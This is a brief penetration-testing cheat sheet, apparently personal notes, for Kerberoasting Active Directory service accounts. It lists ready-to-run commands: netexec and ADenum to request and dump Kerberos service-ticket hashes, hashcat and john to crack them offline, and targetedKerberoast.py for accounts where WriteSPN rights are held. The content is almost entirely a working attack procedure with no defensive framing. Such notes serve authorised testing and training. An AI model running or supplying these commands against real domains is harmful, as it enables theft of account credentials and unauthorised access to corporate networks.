Technique

Kerberoasting

1.0 Enumeration

1.1 netexec

netexec ldap $ip -u username -p password --kerberoasting users.khash

1.2 adenum

# ADenum: https://github.com/SecuProject/ADenum
adenum -d $domain.local -ip $dcip -u $user -p $pass -c

2.0 Cracking

2.1 hashcat

hashcat -m 13100 --force -a 0 users.khash /path/to/word.list

2.2 john

john --format=krb5tgs --wordlist=/path/to/word.list users.khash

3.0 targetedKerberoast

If a user has WriteSPN privilege to another one, you can start a targeted Kerberoast attack:

python targetedKerberoast.py -d $domain -vv -u $user -p $pass

Afterwards, proceed with 2.0 Cracking

References

• hacktricks: Kerberoasting